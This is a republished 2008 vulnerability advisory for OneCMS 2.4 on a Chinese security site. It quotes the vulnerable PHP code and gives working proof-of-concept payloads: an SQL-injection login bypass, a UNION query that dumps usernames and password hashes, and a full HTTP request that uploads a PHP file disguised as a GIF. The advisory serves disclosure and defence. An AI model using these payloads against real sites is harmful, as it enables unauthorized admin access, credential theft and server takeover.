| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 论坛 | 视频 | 搜索 | 经典 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 安全服务 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华盟网 >> 漏洞 >> web apps >> 正文 用户登录 新用户注册
远程SQL注入上传漏洞         ★★★ 【字体:
OneCMS 2.4 Remote SQL Injection / Upload Vulnerabilities
作者:milw0rm 文章来源:milw0rm 点击数: 更新时间:2008-1-9

  ########################## WwW.BugReport.ir #########################

  #

  # AmnPardaz Security Research Team

  #

  # Title: OneCMS Vulnerabilities

  # Vendor: http://www.insanevisions.com

  # Bugs: SQL Injection (Authentication bypass) , Arbitrary file upload!

  # Vulnerable Version: 2.4 (prior versions also may be affected)

  # Exploitation: Remote with browser

  # Fix Available: No!

  ################################################################

  ####################

  - Description:

  ####################

  quote from vendor: "OneCMS is an Open Source CMS also released under GPL allowing users to run there own game site easily.

  From the powerful template system to top-notch support, OneCMS is a great option for gaming sites."

  ####################

  - Vulnerability:

  ####################

  +-->Multiple SQL Injection vulnerabilities (authentication bypass)

  Code Snippet:

  a_login.php Line#5-12

  if ($_GET['login'] == "yes") {

  $usernameb = strip_tags(stripcslashes($_POST['username']));

  $passwordc = $_POST['password'];

  $passwordb = md5($passwordc);

  $sql = mysql_query("SELECT * FROM onecms_users WHERE username = '".$usernameb."' AND password = '".$passwordb."'");

  $login_check = mysql_num_rows($sql);

  $usernameb is prone to sql injection vulnerability therefore its possible for a remote attacker to bypass login form regardless of magic quotes setting!

  POC :

  Username: admin' or 1=1 /*

  Password: something

  afterward program redirects user to another location via header() and so (this behavior makes an infinite loop condition) but still its possible to do administration tasks such as file upload!

  ------------------------------------

  Code Snippet:

  staff.php Line#30-31

  $result = mysql_query("SELECT * FROM onecms_profile WHERE username = '".$_GET['user']."'");

  $profile = mysql_fetch_row($result);

  POC:

  http://localhost/OneCMS_v2.4/staff.php?user=aaa' union select 1,username,password,1,1,1,1,1,1,1,1,1,1 from onecms_users/*

  condition: magic_quotes_gpc = Off

  +--> Arbitrary file upload!

  Code Snippet:

  a_upload.php Line#472-475

  if ($_FILES["ss_$i"]["name"]) {

  if (((((($_FILES["ss_$i"]["type"] == "image/jpeg") or ($_FILES["ss_$i"]["type"] == "image/gif") or ($_FILES["ss_$i"]["type"] == "image/bmp") or ($_FILES["ss_$i"]["type"] == "image/png") && ($_FILES["ss_$i"]["type"])))))) {

  copy ($_FILES["ss_$i"]["tmp_name"], "$path/".$_FILES["ss_$i"]["name"]."");

  As shown above Its possible to upload arbitrary files (ex: .php) with image/gif content type as a valid image file!

  POC:

  POST /OneCMS_v2.4/a_upload.php?view=add2 HTTP/1.0

  Cookie: username=admin'or 1=1/*; password=96e79218965eb72c92a549dd5a330112; login_date=1199693273; style=Trend

  -----------------------------7d84115025c

  Content-Disposition: form-data; name="ss_1"; filename="C:\path\to\file\test.php"

  Content-Type: image/gif

  

  phpinfo();

  ?>

  -----------------------------7d84115025c

  Content-Disposition: form-data; name="ss2_1"

  -----------------------------7d84115025c

  Content-Disposition: form-data; name="type_1"

  image

  -----------------------------7d84115025c

  Content-Disposition: form-data; name="muche"

  1

  -----------------------------7d84115025c

  Content-Disposition: form-data; name="Submit"

  Upload

  -----------------------------7d84115025c--

  ####################

  - Credit :

  ####################

  Original Advisory: http://www.bugreport.ir/?/26

  AmnPardaz Security Research Team

  Contact: admin[4t}bugreport{d0t]ir

  WwW.BugReport.ir

  WwW.AmnPardaz.com

  # milw0rm.com

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇漏洞:

  • 下一篇漏洞:
  • 最新hack更新
    最新推荐资讯
    相关漏洞
    SQL注入漏洞的利用
    SQL注入漏洞的利用
    盲SQL注入漏洞
    SQL注入漏洞的利用
    盲SQL注入漏洞
    WordPress SQL注入漏洞
    盲SQL注入漏洞
    SQL注入漏洞的利用
    SQL注入漏洞的利用
    SQL注入漏洞的利用
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有